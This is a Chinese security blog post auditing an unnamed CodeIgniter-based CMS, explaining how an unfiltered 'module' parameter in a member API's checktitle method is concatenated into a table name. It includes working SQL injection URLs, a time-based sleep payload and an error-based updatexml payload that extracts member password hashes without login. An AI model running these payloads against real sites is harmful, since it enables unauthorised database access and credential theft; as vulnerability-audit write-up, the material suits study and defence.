某cms审计思路,以及ci框架如何找寻注入点

ABOUT

之前闲着没事的时候审的某cms,之前看一群大表哥刷过一次这个cms,想着看看还能不能赶得上分一杯羹,还是审计出来些东西,来说一说一个前台注入吧,orz后面竟然发现提前一周有大表哥交了这个,虽然撞了,但是还是分析分析这个有关的一些思路吧。

首先找注入,思路其实很简单,一个模型一个模型的去看sql,有些猥琐思路,一般过滤都是单引号双引号这些,很少会有注视到类似于表名这样会使用反引号"`"这就是一个比较容易忽视的一个点。这里就找到一个,虽然没有反引号,也是有关表名可利用。

前台无限制注入

http://localhost/index.php?s=member&c=api&m=checktitle&id=1&title=--+&module=block%20a,(select%20%27fn_admin%27%20where%201=sleep(5))%20x%20where%201=sleep(5)%20and%20%27WHERE%20`id`%20%3C%3E%201%20AND%20`title`%20=%20%27=%27

\controllers\member\Api.php这个api当中

/**
* 标题检查
*/
public function checktitle() { $id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module'); (!$title || !$module) && exit(''); $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
$num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
}

标题检查方法中,看到获取用户get的三个值

$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');

注意到下面

$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);

将$module拼接为表名

这个count_all_results是ci框架提供的方法,追踪一下

public function count_all_results($table = '', $reset = TRUE)
{
if ($table !== '')
{
$this->_track_aliases($table);
$this->from($table);
} // ORDER BY usage is often problematic here (most notably
// on Microsoft SQL Server) and ultimately unnecessary
// for selecting COUNT(*) ...
if ( ! empty($this->qb_orderby))
{
$orderby = $this->qb_orderby;
$this->qb_orderby = NULL;
} $result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_limit OR $this->qb_offset)
? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n) CI_count_all_results")
: $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows'))); if ($reset === TRUE)
{
$this->_reset_select();
}
// If we've previously reset the qb_orderby values, get them back
elseif ( ! isset($this->qb_orderby))
{
$this->qb_orderby = $orderby;
} if ($result->num_rows() === 0)
{
return 0;
} $row = $result->row();
return (int) $row->numrows;
}

看到框架底层会将表明做一个分析后构造sql语句,这里由于 $module = $this->input->get('module');是直接获得到的数据,没有太多的处理,这里可以构造注入。首先随便测试一下

看到sql语句出错了,这里我是fuzz出一些ci框架在处理表名的一些规则,有时候他会加表前缀,有时候他会加反引号,总之一会就可以探测出规律。

好了,开始构造payload

http://localhost/index.php?s=member&c=api&m=checktitle&id=1&title=--+&module=block  a,(select updatexml(1,concat(0x7e,(select password from fn_member),0x7e),1)) x where 1='

打到后台admin的密码hash了,这里由于api是开放的,没有身份验证,所以是无需登录前台即可

ci框架如何找寻注入点?

首先这套cms是基于ci框架,其实像ci框架的设计感觉还是挺好的,框架和这套cms的耦合度还是挺高的,感觉cms和框架基本融合在一起,设计更平易近人,比如一些参数获取就是简单的post()、get()这样不像tp给人感觉过于突兀。就像开篇说的,一般在接收参数的时候有时候在表名列名这些很有可能会忽视过滤,尤其是在遇到反引号的时候,不管是框架层面还是cms的一些设计层面都会忽略这个潜在的危险,就像上面提到的有关这个的注入,感兴趣的表哥可以自己看一下框架的有关代码,因为从框架的设计层面来说,这里并不会去考虑过多的安全性问题,毕竟这一块的主动权是在开发者手里,框架层面并不能判断这个表这里是用户输入的还是开发者定义的,所以在这往往可能会产生一些问题。有兴趣的表哥可以自己试一试,这里不过多探究。

某cms审计思路,以及ci框架如何找寻注入点的更多相关文章

  1. Ci框架整合smarty模板引擎

    Ci框架整合smarty模板引擎 备注:下载smarty时,最好选择2.6版本,其他测试有坑,ci可以是2.2或其他 大体思路:将smarty封装成ci框架的一个类,然后重新配置一下smarty,这样 ...

  2. ***PHP基于H5的微信支付开发详解(CI框架)

    这次总结一下用户在微信内打开网页时,可以调用微信支付完成下单功能的模块开发,也就是在微信内的H5页面通过jsApi接口实现支付功能.当然了,微信官网上的微信支付开发文档也讲解的很详细,并且有实现代码可 ...

  3. CI框架下 新浪微博登录接口完整版

    https://www.cnblogs.com/yznyzcw/p/3756622.html#top 说明:本贴只适合CI框架.功能实现:登录接口跳转链接成功,获取用户信息(包括最重要的u_id)成功 ...

  4. ci框架登陆之后每隔几分钟就需要重新登录的问题

    一个简单的登陆写好之后,发现每次进入需要登陆之后才能进入的页面都会跳转到登录页面,猜测应该是session被清了,打印出来,果然为空,但是我没有设置session的生存周期,按照默认的应该是24小时, ...

  5. 第一天ci框架开发商城2

    ci框架开发商城2 1/28/2016 9:45:52 PM mvc完整案例 mvc完成新闻的增删改查 news控制器news.php class News extends CI_controller ...

  6. 第一天ci框架开发商城1

    ci框架开发商城1 1/28/2016 9:43:52 PM userguide删除 system application controllers 控制器 models 模型 views 视图 模板 ...

  7. CI框架之HOOKS使用流程及原理

        Ci框架中Hooks可以理解:在框架的执行流程过程中,允许开发者在固定的某些时间点上(如:调用控制器前,调用控制器后等时间点上),调用其他函数来扩充CI框架执行流程的一种方法.技术上来就是通过 ...

  8. CI框架使用PHPmail插件发送QQ邮件:

    有助请顶,不好请评.0:33 2016/3/12CI框架使用PHPmail插件发送QQ邮件:发送成功,不过修改了主机参数,还包含了一个phpmail中的一个另外的文件,详见下方:参见:http://c ...

  9. 初学后台框架总结篇二——快速了解CI框架

    一.下载CI框架并安装,这里放置一张自己的项目目录结构图 目录框架搭建好之后开始将自己的项目与框架融合 二.更改相关配置 1.用任何文本编辑器打开 application/config/config. ...

随机推荐

  1. LR Java脚本编写方法

    之前在某一家银行也接触过java写的性能接口脚本,最近因项目,也需编写java接口性能测试脚本,脑袋一下懵逼了,有点不知道从何入手.随后上网查了相关资料,自己又稍微总结了一下,与大家共同分享哈~ 首先 ...

  2. mysql中emoji表情存储

    mysql中emoji表情存储 背景 在mysql 5.7.19,创建的数据库默认选择的编码是utf8 -- UTF-8 Unicode,因此字段默认的编码为utf-8,但在项目开发中存在一个需求:在 ...

  3. Google搜索成最大入口,简单谈下个人博客的SEO

    个人静态博客SEO该考虑哪些问题呢?本篇文章给你答案 咖啡君在开始写文章时首选了微信公众号作为发布平台,但公众号在PC端的体验并不好,连最基本的文章列表都没有,所以就搭建了运维咖啡吧的网站,可以通过点 ...

  4. 解决 VS Code 中 golang.org 被墙导致的 Go 插件安装失败问题

    微软官方开发的 Go for Visual Studio Code 插件为 Go 语言 提供了丰富的支持.在 VS Code 中首次打开 Go 工作区后,VS Code 会自动检测当前开发环境为 Go ...

  5. Postman 的替代品来了

    Postwoman 一个开源.免费.快速.漂亮的 API 构建器,可以替代 Postman. 这个名字起得挺有意思,感觉像 Postman 的媳妇. Postwoman 的诞生过程: 它的作者是一个全 ...

  6. 关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的一些总结-1

    原文地址:https://www.anquanke.com/post/id/194384#h3-3 1.java rmi 关于rmi客户端和服务端通信的过程,java的方法都实现在rmi服务端,客户端 ...

  7. 深入浅出| java中的clone方法

    每天进步一丢丢,连接梦与想 我们还年轻,但这不是你浪费青春的理由 克隆和复制 clone,有人称之为克隆,有人称之为复制,其实都是同一个东西 本文称之为"克隆",毕竟人家方法名叫& ...

  8. MVC 记录

    ASP.NET MVC框架提供了一个帮助我们构造Html元素的类:TagBuilder ps url cnblogs.com/yibinboy/articles/5187682.html HttpRu ...

  9. JDK源码之AbstractStringBuilder类分析

    一 概述 二 实现接口 AbstractStringBuilder实现了两个接口: Appendable 概述: Appendable的实现类的对象可以附加字符序列和值. 要追加的字符应该是Unico ...

  10. Mavn 项目 引入第三方jar包 导致ClassNotFoundException

    案例 我有一个Maven构建的项目,项目模块之间有依赖关系,我需要用到一个本地的jar包,而该jar包不能通过配置pom.xml文件从远程仓库自动下载,于是我直接导入该jar包到其中一个项目,不通过p ...